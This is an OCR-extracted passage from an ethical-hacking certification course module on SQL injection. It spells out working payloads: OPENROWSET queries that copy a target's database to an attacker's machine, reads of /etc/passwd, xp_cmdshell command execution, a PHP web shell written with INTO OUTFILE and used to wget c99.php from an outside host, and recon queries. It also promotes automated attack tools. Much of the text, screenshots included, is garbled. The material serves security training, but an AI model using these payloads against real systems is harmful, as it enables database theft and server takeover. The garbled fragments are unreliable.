'; insert into OPENROWSET('SQLoledb',uid=sa pwd=Pass12 3;Network=DBMSSOCN ;Address=myIP, 80; 1, ,select * from mydatabase.. hacked_sysdatabases' ) select * from user_database.dbo.sysobjects insert into OPENROWSET(,SQLoledb,'uid=sa;pwd=Passl23;Ne twork=DBMSSOCN;Address=myIP,80;',,select * from mydatabase..hacked_syscolumns') select * from user database.dbo.syscolumns
/Copyright by EG-CMMCil. All Rights ReServeiR^production Is Strictly Prohibited.

'; insert into OPENROWSET(,SQLoledb1,

'uid=sa;pwd=Pass12 3;Network=DBMSSOCN;Addre
ss=myIP,80 ; ' , ,select * from mydatabase..table2') select * from database..table2

Transfer Database to an Attacker's M achine


An attacker can also link a target SQL server database with his or her machine. By doing this, the attacker can transfer the target SQL server database data to his or her machine. Attackers do this by using O PENROWSET; the DB Structure is replicated and data is transferred. This can be accomplished by connecting to a remote machine on port 80. '; in s e r t in to OPENROWSET

( , S Q L o le d b ', ' uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,8 0 ;', , s e le c t * from mydatabase .h ack e d _sysd ata b a se s') s e le c t from m a s te r. dbo. sysd atab ases -1; in s e r t in to OPENROWSET( , S Q L o le d b ', ' uid=sa;pwd=Passl23;Network=DBMSSOCN;Address=myIP , 80; ' , ' s e le c t * from mydatabase. . h acked _sysd atab ases') s e le c t *

from u s e r_ d a ta b a s e . dbo. s y s o b je c ts '; in s e r t in to

Module 14 Page 2080

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

OPENROWSET( 'S Q L o le d b ', uid=sa;pwd=Passl23;Network=DBMSSOCN;Address=myIP , 8 0 ; 1s e le c t * from m ydatabase. . hacked_syscolum ns') s e le c t * from u s e r_ d a ta b a s e . dbo. syscolumns -'; in s e r t in to OPENROWSET( ' SQ Loledb', 's e l e c t * from

'uid=sa;pwd=Passl23;Network=DBMSSOCN;Address=myIP,8 0 ;', m ydatabase. . t a b le 2 ') 1; in s e r t in to OPENROWSET( ' S Q L o le d b ', 'uid= sa;pw d= Passl23;N etwork s e le c t * from d a ta b a s e . . ta b le 2 --

=DBMSSOCN;Address=myIP, 80; ' , 's e l e c t * from m ydatabase.. t a b le l') s e le c t * from

d a ta b a s e . . t a b le l -

Module 14 Page 2081

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Interacting with the O perating System


There are tw o ways to interact with the OS: e e Reading and writing system files from disk Direct command execution via remote shell

MySQL OS Interaction

LOAD FILE LOAD DATA INFILE

IN/llJ jQ I_

union select 1,load_file(/etc/passwd1),1,1,1; create table temp( line blob ); load data infile ,/etc/passwd' into table temp; select * from temp;

Find passwords and execute commands Both methods are restricted by the database's running privileges and permissions

SELECT INTO OUTFILE

M S SQL OS Interaction
exec m aster..xp cmdshell 'ip e o n fig > t e s t . t x t ' -' ; CREATE TABLE tmp (tx t v are h ar(8000)); FROM 't e s t . t x t ' BULK INSERT tmp

; begin d eclare @data v are h ar(8000) ; se t @data-'| * ; s e le c t 0data=@data+txt+ ' | from tmp where tx tO d a ta ; s e le c t @data as x in to temp end and 1 in (s e le c t su b strin g (x ,1,256) from temp) d eclare @var sysname; se t @var = 'd e l t e s t . t x t ; EXEC m aster..xp cmdshell @var; drop tab le temp; drop tab le tmp

Attacker

Copyright by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.

Interacting with the Operating System


* * There are two ways by which an attacker can interact with the operating system. 9 Once the attacker enters into the system, he or she can read or write the system file from the disk. e An attacker can directly execute the commands via remote shell.

Both the methods are restricted by the database's running privilege and permissions. M ySQL OS Interaction LOAD_FILE 1 union s e le c t 1 ,l o a d _ f i l e ( ' /etc/p assw d ') , 1 , 1 , 1 ; LOAD DATA IN F IL E c r e a te ta b le temp( l i n e b lob ) ; lo a d d ata i n f i l e '/e tc/p a ssw d ' in t o ta b le temp;

s e le c t * from temp; SELECT INTO OUTFILE M S SQL OS Interaction '; exec m a s te r..x p cm dshell ' ip c o n fig > t e s t . t x t ' --

Module 14 Page 2082

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

C REATE ,te s t.tx t'

TABLE --

tm p

(tx t

v a r c h a r (8 0 0 0 ));

BU LK

I N S E R T tm p

FROM

; b e g in d e c la r e @ d a ta = 0 d a ta + tx t+ ' te m p ' and end -(s e le c t

0 d a ta | 1 fro m

v a r c h a r (8 0 0 0 ) ; set tm p w h e r e t x t < @ d a t a ;

Q d a t a = '| 1; s e l e c t s e l e c t @ d a ta a s x i n t o

1 in

s u b s t r i n g ( x ,1 ,2 5 6 ) sysnam e; 0 v a r ; d ro p set ta b le

fro m @ var te m p ;

te m p )

-EXEC

d e c la r e var m a s t e r . . x p _ c m d s h e ll

= 'd e l t e s t . t x t '; d r o p t a b l e tm p --

FIGURE 14.19: MS SQL OS Interaction

Module 14 Page 2083

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Interacting with the F ile System

C EH

LOAD_FILE()
The LOAD_FILE() function within MySQL is used to read and return the contents of a file located within the MySQL server

INTO OUTFILE()
The OUTFILE() function within MySQL is often used to run a query, and dump the results into a file

NULL

U N IO N

A LL

SELECT

L O A D _ F IL E ( ' / e t c / p a s s w d ') / *

If successful, the injection will display the co n ten ts o f the p a ss w d file

NULL ? > '

U N IO N IN T O

A LL

SELECT

N U LL,N U LL,N U LL,N U LL, ?<php

s y s te m ($ _ G E T [ "c o m m a n d "] )

O U T F IL E

' /v a r /w w w /ju g g y b o y . c o m / s h e ll. p h p ' / *

I f successful, it w ill then be possible to run system commands via the $_GET global. The fo llo w in g is an example o f using w get to get a file : http://w ww .juggyboy.com /shell.php?com m and=w get http://w ww .exam ple.com /c99.php

Copyright by EG-GlOOCil. All Rights Reserved. Reproduction is Strictly Prohibited.

I n te r a c tin g w ith th e F ile S y s te m


An attacker uses the following functions to interact with the file system: 9 LOAD_FILE(): The LOAD_FILE() function within MySQL allows attacker to readandreturn the contents of a file located within the MySQL Server. INTO OUTFILE(): The OUTFILE() function within MySQL allows attacker to run a query, and dump the results into a file.
N ULL U N IO N A L L SELEC T L O A D _ F IL E ( ' / e t c / p a s s w d ' ) / *

If successful, the injection will display the contents of the password file.
N U L L U N IO N A L L S E L E C T N U L L , N U L L , N U L L , N U L L < ? p h p s y s t e m ( $ _ G E T [ " c o m m a n d " ] ) ; ? > ' IN T O O U T F I L E ' / v a r / w w w / j u g g y b o y . c o m / s h e l l . p h p 1/ *

If successful, it will then be possible to run system commands following is an example of using wget to get a file:

via the $_GET global.

The

h t t p : / /w w w . j u g g y b o y . c o m / s h e l l . p h p ?co m m a n d = w g e t h t t p : / /w w w . e x a m p le . c o m / c 9 9 .p h p

Module 14 Page 2084

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Network R econn aissan ce U sing SQL Injection


Assessing Network Connectivity J Server name and configuration Gathering IP information through reverse lookups Reverse DNS
; e x e c m a s te r ..x p _ c m d s h e ll , n s l o o k u p a .c o m M y I P '

CEH

' and 1 in (select ' and 1 in (select srvnam e from m a s te r . . s y s s e r v e r s )


@@servername )
J NetBIOS, ARP, Local Open Ports, nslookup, ping, ftp, tftp, smb, traceroute? Test for firewall and proxies

Reverse Pings
' ; e x e c m a s te r ..x p _ c m d s h e ll , p in g 1 0 . 0 . 0 . 7 5 '

Network Reconnaissance J J

OPENROWSET
; s e l e c t * f r o m OPENROWSET( 1S Q L o l e d b ', , u i d = s a ; p w d = P a s s l2 3 ; N e tw o rk = D B M S S O C N ; A d d re s s = 1 0 . 0 . 0 . 7 5 ,8 0 ; ' , , s e le c t * fro m t a b l e ')

xp_cmdshell

You can execute the following using the command: Ipconfig /all, Tracert myIP, arp -a, nbtstat -c, netstat -ano, route print

M l ....M

....M

M i ....M - -
A ttack er O S Shell Local N e tw o rk

Copyright by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.

N e tw o rk R e c o n n a is s a n c e U sin g SQL I n je c tio n


Assessing Network Connectivity
Attacker assesses network connectivity to find out the server name and configuration in order to find out information about the network infrastructure; for this attackers use various tools like NetBIOS, ARP, Local Open Ports, nslookup, ping, ftp, tftp, smb, Trace route, etc. All the firewalls and proxies are also tested. a Server name and configuration' and 1 in (select @@ servernam e ) srvname from master..sysservers ) Q NetBIOS, ARP, Local Open Ports, nslookup, ping, ftp, tftp, smb, Trace route? Test for firewall and proxies and 1 in (select

Network Reconnaissance
Network reconnaissance is used to gather all the information about the network and then to check for vulnerabilities present in the network. You can execute the following using the xp_cmdshell command: Ipconfig /all, Tracert myIP, arp -a, nbtstat -c, netstat -ano, route print

Gathering IP information through reverse lookups


Module 14 Page 2085 Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

An attacker uses the following techniques to gather IP information through reverse lookups: 9

Reverse DNS: When the web server logs are being processed, reverse lookup is used to
determine names of the machines accessing the server and also where the users are from, etc.
exec m a s t e r . . x p _ c m d s h e ll 1n s l o o k u p a . com M y I P ' -

Q Reverse Pings: Code for the reverse ping is: '; exec m a s te r. . xp_cm dshell 'p in g 1 0 .0 .0 .7 5 ' --

Q OPENROWSET: OPENROWSET provides a way to use data from a different server in a SQL server statement. It is also helpful to connect to data source directly through OLE DB directly without necessity of creating a linked server. ' ; s e le c t * from OPENROWSET( 'S Q L o le d b ', 'uid = sa; pwd=Passl23; Network=DBMSSOCN; Address=10. 0 . 0 . 75, 80; ' , 's e l e c t * from t a b l e ')

Module 14 Page 2086

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Network R econn aissan ce Full Q uery


o o http://www.juggyboy.com

(rtifwd

CEH
itkitjl

declare @var varchar (256); set @var = 1 del test.txt ss arp -a test.txt ss ipconfig /all test.txt ss nbtstat c test.txt s s netstat -ano test.txt ss route print test.txt ss tracert -w 10 -h 10 google.com test.txt1; EXEC master..xp_cmdshell Qvar '; CREATE TABLE tmp FROM ,test.txt (txt varchar (8000) ) ; BULK INSERT tmp

begin declare data varchar(8000) ; set @data=': ' ; select @data=@data+txt+ I from tmp where txt<@data ; select Sdata as x into temp end ' and 1 in (select substring (x,1,255) from temp) declare @var sysname; set @var = ,del test.txt'; EXEC master..xp_cmdshell Gvar; drop table temp; drop table trap

j j

N ote: M icroso ft has disabled x p _ c m d s h e ll by defa ult in SQL Server 2005/2008. To enable this feature EXEC s p _ c o n f i g u r e ' x p _ c m d s h e l l ' , 1 GO RECONFIGURE Copyright by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited.

Network Reconnaissance Full Query


Network reconnaissance is used for testing potential vulnerabilities in a computer network. Besides many uses, it has limitations where it is more prone to being hacked. Network reconnaissance is one of the major network attacks. Network reconnaissance can be reduced to some extent but can't be stopped completely. Attackers use various network mapping tools such as Nmap and Firewalk to determine the vulnerabilities of the network. Network reconnaissance could not only be external but also internal.
d e c la r e 0var v a r c h a r (2 5 6 ); set Q var = ' del te s t.tx t && a r p -a te s t.tx t && i p c o n f i g / a ll te s t.tx t && n b t s t a t - c te s t.tx t && n e t s t a t - a n o te s t.tx t && r o u t e p r in t te s t.tx t && t r a c e r t -w 10 - h 10 g o o g l e . c o m t e s t . t x t 1; E X E C m a s t e r . . x p _ c m d s h e l l @ v a r - '; '; C REATE b e g in TABLE tm p (tx t v a r c h a r (8 0 0 0 )); v a r c h a r (8 0 0 0 ) tm p w h ere BU LK ; IN S E R T set ; tm p FROM ,te s t.tx t' ' as x ; --

d e c la r e | '

@ d a ta fro m

@ d a t a = ': @ d a ta

s e le c t te m p

@ d a ta = @ d a ta + tx t+ ' e n d -' and 1 in (s e le c t

tx t< 0 d a ta

s e le c t

in t o

s u b s t r i n g ( x ,1 ,2 5 5 )

fro m

te m p )

-EXEC m a s t e r . . x p _ c m d s h e ll

'; d e c la r e 0 v a r ; d ro p

0 v a r sysnam e; s e t 0 v a r = ,d e l t a b l e t e m p ; d r o p t a b l e tm p -

t e s t . t x t ';

Module 14 Page 2087

Ethical Hacking and Countermeasures Copyright by EC-C0UllCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Note: Microsoft has disabled


feature:
EXEC s p _ c o n fig u r e

x p _ c m d s h e ll

by default in SQL Server 2005/2008. To enable this


1 GO R E C O N F IG U R E

' x p _ c m d s h e ll' ,

0 (1 1 G O
j ; a rp c -a >>

http://www.juggYboy.com
@ var v a r c h a r ( 2 5 6 ) ; te s t.tx t && tra c e rt && -w ip c o n fig -a n o -h Jvar 10 10 && n e t s t a t set @ var = ' d e l &&

te s t.tx t && p r in t && /a ll te s t.tx t n b ts ta t

d e c la r e

te s t.tx t

te s t.tx t g o o g le .c o m

ro u te

te s t.tx t

t e s t . t x t ';

EXEC m a s t e r . . x p _ a m d s h e ll CREATE FROM j TABLE tm p (tx t

v a rc h a r(3 0 0 0 )) ;

B U LK

IN S E R T

tm p

te s t.tx t1 d e c la r e @ d a ta 1 in as @ d a ta x in to v a r c h a r (8 0 0 0 ) |
'

b e g in s e le c t s e le a t

se t

@ d a t a = ':

'

; ;

0 d a ta = @ d a ta + tx t+

fro m end

tm p

w h e re

tx t< 0 d a ta

te m p

j j

1 and

( s e le c t @ var

s u b s t r in g ( x , 1 ,2 5 5 ) set @ var =

fro m

te m p )

-EXEC tm p - -

d e c la r e

sysnam e;

,d e l

te s t.tx t; d ro p

m a s t e r . . x p _ c m d s h e ll

@ v a r;

d ro p

ta b le

te m p ;

ta b le

FIGURE 14.21: Network Reconnaissance Full Query

Module 14 Page 2088

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Module Flow

CEH

4
V

M odule Flow
Attackers can also make use of tools to perform SQL injection attacks. These tools help

attackers carry out various types of SQL injection attacks. The SQL injection tools make the attacker's job easy.

SQL Injection Concepts

t</ *

Advanced SQL Injection

Testing for SQL Injection

SQL Injection Tools

Types of SQL Injection

) Evasion Techniques

-J

1 Blind SQL Injection

Countermeasures

SQL Injection Methodology


This section lists and describes different SQL injection tools that attackers can use to commit attacks.

Module 14 Page 2089

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures

Exam 312-50 Certified Ethical Hacker

SQL Injection

SQL Injection Tool: BSQLHacker

c
(rtifwtf

ithnai M ath *

EH

IL (Blind SQL) Hacker is an automated SQL Injection Framework / Tool designed to exploit SQL injection lerabilities virtually in any database
BSQL Hacker v0.9.0.9 Beta but Getting There!
Fie ji J Templets Injection jmport Start Edit Stop Exploits MSSQL / Injection Wizard 3< Delecbon

Help Fie

BSQL Hacker V0.9.0.9 - Beta but Getting Thete!

- lest Injection

Jerrplatts

Injection

jmpcrt

Edit Stop

Exploits MSSQL

Help

injection Wizard Start

j C^ ccjd Dttecscn Type

Requeel 1 * * * o n | @

is j E-tscied D a ta b a s e

V C**eoort 'a ga UR.

:etecton - Peaue*: I hcton ttQ V /n n .Q00&Q0n

Setti-gs

Exacted D atabase

C EirxBaaed >S < n a t1 re/ S ea rchB a s e d OT im eB a a e d C O e e oBhd

Sea ch Ea3 Tim Based | D w BW xJ Based Ercr Baaed D eterm ine Wferencee Autom ates?

K 4
*HTMlxMEADxnwta cortori ',cxJ/ltH oharget^jtf 8"> < TlTL> 302 M ov*d</TITLE> < /H EA D >< BO D Y>< H1 > 3 0 2M o*d< /HI>The d ovtd<A </800Yx/HTML>

* a *

H R E F m p / / * v w .9 Q 0 < N .0 0 j n T X * n < S A >

St 3 13 0 82 2 1 St3 1 3 0 22 2 1 St 3 1 3 0 2 2 2 1 St31 3 0 22 2 1 St 3 13 0 22 2 1 St 3 23 0 22 2 1 5 43 2-3 0 22 2 1 St 3 23 0 22 2 1 St 3 2-3 0 22 2 1 St1 2 3 0 2 2 2 1

< H T M L:> < M EA D > < x n eta Ntp quo cotor<. ',od-hH 0Nx9ctjtf 8'> < T1TLE> 302 M oved< /TITLE> c/HEADxBODY><H1>302 M oved< /H 1 > The doem nent vtd<A HREF>py,Ww.ooo<N.oo </800Yx/HTML>

Web P r v ^ 7> HTML :

] *ep*c*on Log 0)

M6 *H a t o r y

HTML Attack Succtffufty Fmnhcd!

Attack SuccesfuMy Finished!

h ttp :/ / la b s .p o rtc u llis .c o .u k


Copyright b y

EG-G*ancil. All

Rights Reserved. Reproduction Is Strictly Prohibited

SQL In je c tio n Tools: BSQ LH acker


Source: http://labs.portcullis.co.uk BSQL (Blind SQL) Hacker is an automated SQL injection framework/tool that allows attackers to exploit SQL injection vulnerabilities virtually in any database. Its feature includes: Fast and multithreaded 4 different SQL injection support: Blind SQL injection

Time-based blind SQL injection Deep blind (based on advanced time delays) SQL injection Error-based SQL injection

Can automate most of the new SQL injection methods those relies on blind SQL injection RegEx signature support Console and GUI support

Module 14 Page 2090

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil


All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

9 9 b Q Q

Load/save support Token/Nonce/ViewState etc. support Session-sharing support Advanced configuration support Automated attack mode, automatically extract all database schema and data mode
BSQL Hacker v0.9.0.9 Beta but Getting There!

: ! I- 1 I *
Help

>

r
Fie
\ & A

BSQL Hacker v0.9.0.9 Beta but Getting There! Template} Injection Import StartStop Edit Exploits Help

F3e

Templates

Injection

Import Edit Exploits > Start Stop MSSQL


Settings |

^ icJ Injection Wizard


V Dashboard Detector Type Cetecton

^ Test Injection
I Bdra^ted Database

/ Injectton Wizard

MSSQL I Ext-acted Database

- r Request 4 Irjecfron O Search Based 0

./ Dashboard Target URL Status

. < : Detection - *Request & Injection O Settings |http /Aww google com

Time Based | Deep Bhnd Based | Eror Based

E ra Based S* ratvxo/ Scorch Based Tme Based

Determine Deferences ^Jtomatcaly

C D*oo Btnd

Postion Max Length 100

Other Setfrgs Fofcw

Request Count 9C4 0 Request history > HTML>cHEAD>aneta http-equw"" contenttype contert *'\ert/html .charsetutf-8><TITLE< 302 Moved</TITLE>c/HEAD><BODr>cH1 >302 Movedc/Hl>Thedxvnert .> has moved<AHREF-"http ://www google.co in/'>here</A BODY></HTMl/< <

Speed 28 391/$

Tune 00:00:31 Preview

n .......y ............................................

R e q u e s th is to ry
54 3 1 -302-221 54 3 1 302 2 2 1 54 3 1 302 2 2 1 54 3 1 302 2 2 1 54 3 1 302 2 2 1 54 32-302-221 54 32-302-221 5432-302-221 54 32 -302 -2 2 1 5432 -302 2 2 1
@ yvaoie istory

5431-302-221 54 31-302-221 54 31-302-221 543 1 302 2 2 1 54 3 1 -302 -2 2 1 54 32 -302 -2 2 1 54 32-302-221 54 32-302-221 54 32 -302 -2 2 1 54 32 -302 -2 2 1
@ snaole Hrtory

<HTML:><HEAD>aneta Ntp-equw*"ecrtentt}pe'' content ',lert/htrH.charseturf-8'xTlTLE>302 Movedc/TITLEx/HEADxBODVxHI >302 Moved</H1>The ckxxjnert has moved<AHREF-"http ://www google W " dhere< /A > .

< / B 0 D Yx/H TM L>

.0 0

> . Web Preview"] ij^ H T M L j[~Raw Request | /ftppfc=abor Log (1) Attack Succesfully Finished!

Web Preview

< > HTML

Raw Request | / 0 oofccabor Log 0

Attack Succesfu l> Finished!

FIGURE 14.22: BSQLHacker Screenshot

Module 14 Page 2091

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

SQL Injection Tool: Marathon


m
^

r cu
V
UrtfW < ItkKjl N mIm

i
^

tH

Using Marathon Tool, a malicious user can send heavy queries to perform a Time-Based Blind SQL Injection attack

Database Schema extraction from SQL Server, Oracle and MySQL

Parameter Injection using HTTP GET or POST

SSL support

HTTP proxy connection available

Authentication methods: Anonymous, Basic, Digest and NTLM

http://m arathontool. codeplex. com Copyright by EG-GlOOCil. All Rights Reserved. Reproduction is Strictly Prohibited.

SQL I n je c tio n T o o ls: M a r a t h o n T ool


-----Source: http://marathontool.codeplex.com Marathon Tool is a POC for using heavy queries to perform a time-based blind SQL injection attack.

Application Su p p o r te d feat ure s:


Database schema extraction from SQL Server, Oracle, and MySQL

Data extraction from Microsoft Access 97/2000/2003/2007 databases Parameter injection using HTTP GET or POST SSL support HTTP proxy connection available Authentication methods: Anonymous, Basic, Digest, and NTLM

Variable and value insertion in cookies (does not support dynamic values) Configuration available and flexible for injections

Module 14 Page 2092

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

Marathon Tool (version 0.1.3.10)


File Help

Configuration | Database schema | Debug log Basic configuration Database engrte Target base URL: Microsoft SQL Server http ://www/google com/ Get O Post SSL

! OK

Injection options Min. heavy query time HTTP request timeout Pause after heavy query: Pause after any query

4500 : 5000 : 5000 : 250:


sys databases, sysusers

Repeat tests count: Min joins for quenes Max jonsfor quenes Enable equal gn in selects

2 0 3 C 1 5 :

Heavy quenes tables

Start injection

Initialize

G <

FIGURE 14.23: Marathon Screenshot

Module 14 Page 2093

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

S Q L I n j e c t i o n T o o l: S Q L P o w e r In je c to r
Fit U se Cookie Fpr Load Page Tools ?

C EH

[GEnhnpiJiiuaNimriNDiMtaRh

1 Cookie Paramctere

Add Vdiyingskinq Eadirx) sftmu

I> r

l 1 1 u* 00>%28SELECT.LN X28X2S%26 Uwl*-1&c op*!***-UTF-Mli-vtM-TOa^.-fCwA-wHx.-O-iVF^XXWuV/^rtyl T\S,FUM*\lvN2JiicSbW91UDijHK}j la true p-250>%28SELECT<LENX28 X29<%2Sloaalo>1&cooM S & UTF 8*fr-yt> 17041vc-FCoafaoaltoc-d-kVFaXWrfuWTtm* TV3FNrMPJvN2fncSbW9IUDpHKhu la true p- 125>X28SELECT LEN%28 X29<\2etooalo-1&co<>-ms&-UTf: 8*fr-A> 1 700*c-fCoatoc.1toc-d-kVFaXI< > 4uW 7tm 4 TV3FMrMPJvN2fncSbW9IUDpHKhu I. true p-6?>X?8SI 11(. I tl I ti'/./&'+./$ ~/Mr>fl0lr- I Hr op- An-I I 1 1 AMAve- p.ontora] Ipc-d-fcV 1 * W /V> 4_I V>l N rM f1Jv^rTr.,*> W D II DpHIKhun Itliu r p-*!!1>%y8SI II CI I I N%28%79*%7Clo9glr-1Acap_fl1-Ulf -8AI! -y4p-+ -A M & w - |( 'a1A jr-% J I!* J0(MW/fcn4_I V d U M rJvN * ' I1W91IQpHI U iiu - p % 2 8 < 15* SELECTLENV.2S%29%2CUxigl1;(& op-nwA-UTF-Mf<-HlM-XMiM c-fCjluw1IU--<HlW4)4(MuWM TVPN > M IPJN 21111SU^11JD|> HII01ta> la true p % 2 8 < 7> SELECTLENX28X29 t26100010-tAeop-mM&c-<JTF SAfr-yfc I 704&wc-fCodoon] fpc-d-kVFi<MAV7Trf TVBPNrM*JJvN2lncSI>W9UJOpHt> Is true p-3>%2BS!:1r:CT*IIN%?8%79tX.Wo00te-l*co<>>tftAet-|Jtl SAfr-y%>t tpr-MVI O O ^ M !A V/tm 4 1 71 tJiMII'. lvN/%rr- f> Y/l II llipll**. IstriM; p-l>X?BSIin^CTtlFNX?8X2, J.X/6looelc-lcop-ms*r-4ill Ah-y%> *MAvr- | Ipr-d-fcM \XKM W/tm_1 71 , NrMJvN ^ % rr tM.1 1 111 (4

SQL Power Injector is an application created in .Net 1.1 that helps the penetration tester to find and exploit SQL injections on a web page
h ttp://www. sq !powerinjector. com

Copyright by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.

SQL I n je c tio n T o o ls: SQ L P o w e r I n je c to r


Source: http://www.sqlpoweriniector.com SQL Power Injector helps attackers find and exploit SQL injections on a web page. It is SQL Server, Oracle, MySQL, Sybase/Adaptive Server and DB2 compliant, but it is possible to use it with any existing DBMS when using inline injection (normal mode). It can also be used to perform blind SQL injection.

Module 14 Page 2094

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

FIGURE 14.24: SQL Power Injector Screenshot

Module 14 Page 2095

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

SQL Inj ection Tool: Havij


Using this SQL injection tool, an attacker can perform back-end database fingerprint, retrieve DBMS users and password hashes, dump tables and columns, fetch data from the database, run SQL statements and even access the underlying file system and executing commands on the operating system

CEH
Urtiftetf ttkujl lUck*

w ty Q tt .c o m / n p g x .a g )3 * !1 2 3
n e jw o r t t !** (Z

* M !w r 1 [] is 3 ; twiu|1 u 1 0 ; 0? !* !* 1 * * y ft w n lM I0 N ln * c m 1 1 d i* < ah im o i fiI ?lllC h M * K 1 * J * *UM C m M* u h M M c t ll A m * A o ft*In d c c u m ic o ir D n N ib U L # ! 1 c > 1 Iw * > x 4M f t r ik / 4 0 t > w < v M 1 f cM 4 CJ( 1 W rvW [VD LJF c < o n n d n c to r a r iS k O M R k m k i e ! : inita

C x i

h ttp://www. itsecteam. com

Copyright by EG-G*ancil. All Rights Reserved. Reproduction is Strictly Prohibited.

S Q L I n j e c t i o n T o o l s : H a v ij
Source: http://www.itsecteam.com Havij is an automated SQL injection tool that helps attackers find and exploit SQL Injection vulnerabilities on a web page. With the help of this tool, an attacker can perform backend database fingerprint, retrieve DBMS users and password hashes, dump tables and columns, fetching data from the database, running SQL statements, and even accessing the underlying file system and executing commands on the operating system.

Module 14 Page 2096

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

!n o
frtty/f^ww.urgttcom/^dtK.iepyia-123

Havij

I* U*

V * 1 [Auto OeterT Ajto Detect

^ C T p :/ / w w U rfl t.c c n V 1 n d x ip > 1 d 1:U [aur ferC K a fx trd - a tc e re rt_


Auto Detect He<>od |GET v] Auto Detea

PoiIDm

P w iD ^ ta

Retd n o

OndS'fiff

flurry

Find Adm

Jl
FV oN f. | 19080 I CeMnnCart: Tiws otf toccnd) 10| ~ | g | |p || | |

Havij Advanced SQL Injection Tool


Version 1.15 Free Copyright 2009-2011 By r3< Jm O v3
h ttp ://ITSecTearn .com UfOHtmt tyrtx UNIOMniectcre

[v} HBp feadas Uan Agrt L&dCoo.c Airt'entctfon D*lJ<r1 (*ctcn /ak*

http://forum .Itsecteann.com nfo0esecte31n.com Check for update


MsSQL with error MsSQL no error MsSQL 8&nd (Pro Version) MsSQL tiire based (Pro Version) MsAccess M j Acccjs Blind (Pro Version)

U*AS* Mto/4.0 Iccmp^ibte; MSIE 7 0 Wntom

g D not rd c<Arm* o r t r McSQLwth tea Cj FofcxiicAsdcro ~ $hcv F*ou*cte

SUtvr: OLE

S tM u er r n ID L E

FIGURE 14.25: Havij Screenshot

Module 14 Page 2097

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

SQL In j e c tio n T ools


SQL Brute
http://w w w .gdssecurity.com

Urti*W

CEH
itkM l lUckw

Blind Sql Injection Brute Forcer


h ttp ://co d e, google, com

Q
[)

BobCat
http://w w w .northern-m onkee.co.uk

sqlmap
h ttp ://sq lm a p . org

SQL Injection Digger


h t tp ://s qid. ruby forge, org

uuu a
-------

Pangolin
http://n ose c.org

Absinthe
h ttp ://w w w .darknet.org. uk

SQLPAT
h ttp ://w w w .cq u re .n e t

Copyright by EG-G*ancil. All Rights Reserved. Reproduction Is Strictly Prohibited.

SQL I n je c tio n T o o ls
There are some more SQL injection tools that attackers can use to perform SQL injection attacks. These include: e SQL Brute available at http://www.gdssecurity.com BobCat available at http://www.northern-monkee.co.uk

Q Sqlninja available at http://sqlninja.sourceforge.net Q sqlget available at http://www.darknet.org.uk Q Absinthe available at http://www.darknet.org.uk Q Blind Sql Injection Brute Forcer available at http://code.google.com Q e e 9 sqlmap available at http://sqlmap.org SQL Injection Digger available at http://sqid.rubyforge.org Pangolin available at http://nosec.org SQLPAT available at http://www.cqure.net

Module 14 Page 2098

Ethical Hacking and Countermeasures Copyright by EC-C0UnCil All Rights Reserved. Reproduction is Strictly Prohibited.

Ethical Hacking and Countermeasures SQL Injection

Exam 312-50 Certified Ethical Hacker

SQL I n je c tio n T ools


